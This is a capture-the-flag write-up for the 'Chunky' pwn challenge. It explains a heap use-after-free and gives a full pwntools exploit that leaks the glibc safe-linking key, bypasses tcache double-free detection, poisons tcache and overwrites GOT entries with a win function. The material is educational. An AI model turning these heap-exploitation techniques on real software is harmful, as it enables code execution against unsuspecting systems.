Chunky
Chunky
Platform: cyberareactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: got_overwrite, safe_linking_key_leak, tcache_double_free_bypass, tcache_poisoning
Summary
Task: A fixed-size heap manager leaves dangling pointers after free, enabling UAF reads and writes against safe-linked glibc tcache metadata. Solution: Leak the safe-linking key, bypass double-free detection, poison tcache, and overwrite GOT entries with win.
Chunky — cyberareactf
Description
A tiny fixed-size heap chunk manager with menu alloc/free/edit/show/exit.
The service manages up to 16 heap chunks. The objective is to exploit its memory-management mistakes and make the hidden flag-reading function execute on the remote service at 2.26.61.71:41002.
Analysis
The supplied binary is an unstripped, non-PIE AMD64 ELF with debug information. It has Partial RELRO, NX, a stack canary, SHSTK, and IBT. Every allocation calls malloc(0x48), so all user objects belong to the 0x50 tcache size class.
The global chunks[16] pointer array is not cleared by do_free. The corresponding sizes[] entry also remains valid, and both do_show and do_edit accept a freed index. This provides both a use-after-free read and a use-after-free write over tcache metadata.
The binary contains a hidden win() function at 0x4012f1. It opens and reads flag.txt using direct syscalls. In contrast, get_flag(), static CYBERAREA strings, and the debugging hint involving puts@GOT and get_flag() are decoys: get_flag() only prints a fake flag.
Leaking the safe-linking key
Modern glibc protects a singly linked tcache pointer as:
text read-only • copy allowedencoded_next = PROTECT_PTR(position, next) = (position >> 12) ^ next
When slot 0 is the only freed entry in its tcache bin, next is NULL. Its first qword therefore becomes:
text read-only • copy allowedencoded_next = chunk_address >> 12
Showing 16 bytes from the freed slot leaks this value directly. It is the key required to encode a forged pointer for any tcache metadata stored in the same chunk.
Bypassing double-free detection and preserving the count
The second qword of a freed tcache entry is tcache_entry.key, which glibc uses to detect a duplicate free. The UAF write replaces the freed metadata with p64(key) + p64(0): the first qword keeps the valid encoded null pointer, while the zero clears the duplicate-free marker. Freeing slot 0 again is then accepted and raises the separate tcache-bin count to two.
That count is essential. Poisoning only one freed entry does not work: the first allocation pops the real chunk and reduces the count to zero, after which malloc ignores the forged head. The double-free ensures that two allocations can be serviced from the poisoned bin.
Poisoning tcache and handling adjacent GOT entries
Because the binary has Partial RELRO and no PIE, free@GOT is writable at the fixed address 0x404000. It is also 16-byte aligned, satisfying modern tcache alignment checks. The UAF edit changes the freed entry's encoded next pointer to:
text read-only • copy allowedfree_got ^ key
The next allocation returns the original heap chunk, and the following allocation returns a pointer overlapping free@GOT.
There is one important complication: tcache_get clears entry->key at returned_pointer + 8. For a chunk returned at 0x404000, that address is puts@GOT at 0x404008. Consequently, a payload that overwrites only free@GOT leaves puts@GOT zeroed and crashes when do_alloc prints its success message.
The working payload requests and writes 16 bytes, placing win into both adjacent GOT slots:
text read-only • copy allowedfree@GOT = win puts@GOT = win
The puts("[+] allocated") call performed immediately by do_alloc is then redirected to win(), which reads and prints the real flag. Later menu output invokes the overwritten puts entry again, so the flag may appear repeatedly.
Solution
- Allocate 16 bytes in slot 0 and free it.
- Show the freed slot and interpret its first qword as
chunk >> 12. - UAF-edit the freed metadata to preserve the encoded null
nextand cleartcache_entry.key. - Free slot 0 again, making the bin count two.
- UAF-edit its
nexttofree@GOT ^ key. - Allocate once to pop the real chunk.
- Allocate 16 bytes at the poisoned target and write
p64(win) + p64(win)overfree@GOTandputs@GOT. - Capture the flag printed when the allocation's immediate
putscall enterswin().
The complete verified exploit is:
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re context.binary = elf = ELF("./pwn/chunky", checksec=False) context.log_level = "info" HOST, PORT = "2.26.61.71", 41002 FREE_GOT = elf.got["free"] WIN = elf.sym["win"] def start(): return remote(HOST, PORT) def choose(io, n): io.sendlineafter(b"> ", str(n).encode()) def alloc(io, size, data): assert len(data) == max(0, min(size, 0x48)) choose(io, 1) io.sendlineafter(b"size: ", str(size).encode()) io.send(data) def free(io, idx): choose(io, 2) io.sendlineafter(b"index: ", str(idx).encode()) def edit(io, idx, size, data): assert len(data) == max(0, min(size, 0x48)) choose(io, 3) io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"size: ", str(size).encode()) io.send(data) def show(io, idx, size): choose(io, 4) io.sendlineafter(b"index: ", str(idx).encode()) io.recvuntil(b"[show] raw bytes:\n") return io.recvn(size) def exploit(): io = start() # A sole 0x50 tcache entry stores PROTECT_PTR(chunk, NULL) = chunk >> 12. alloc(io, 16, b"A" * 16) # slot 0 free(io, 0) leak = show(io, 0, 16) key = u64(leak[:8]) log.info("safe-link key (chunk >> 12): %#x", key) # Clear tcache_entry.key, then double-free to make the bin count 2. # (A one-entry poison fails because malloc checks the separate count.) edit(io, 0, 16, p64(key) + p64(0)) free(io, 0) # UAF edit poisons the tcache next pointer. free@GOT is 16-byte aligned. edit(io, 0, 8, p64(FREE_GOT ^ key)) alloc(io, 8, b"B" * 8) # slot 1: original chunk # tcache_get clears entry->key at target+8, which is puts@GOT. Restore both # adjacent GOT words as win; do_alloc's immediate puts() then prints the flag. alloc(io, 16, p64(WIN) + p64(WIN)) # free@GOT = puts@GOT = win out = io.recvrepeat(3) print(out.decode(errors="replace")) match = re.search(rb"CYBERAREA\{[^}]+\}", out) if match: log.success("FLAG: %s", match.group().decode()) return out if __name__ == "__main__": exploit()
The verified remote response contained:
text read-only • copy allowed[flag] CYBERAREA{REDACTED}
Failed Attempts
- A poison based on only one freed tcache entry failed because popping that entry reduced the independent bin count to zero, so glibc ignored the forged head.
- Overwriting only
free@GOTfailed becausetcache_getcleared the adjacentputs@GOTentry at target offset+8; the process crashed on the immediateputscall.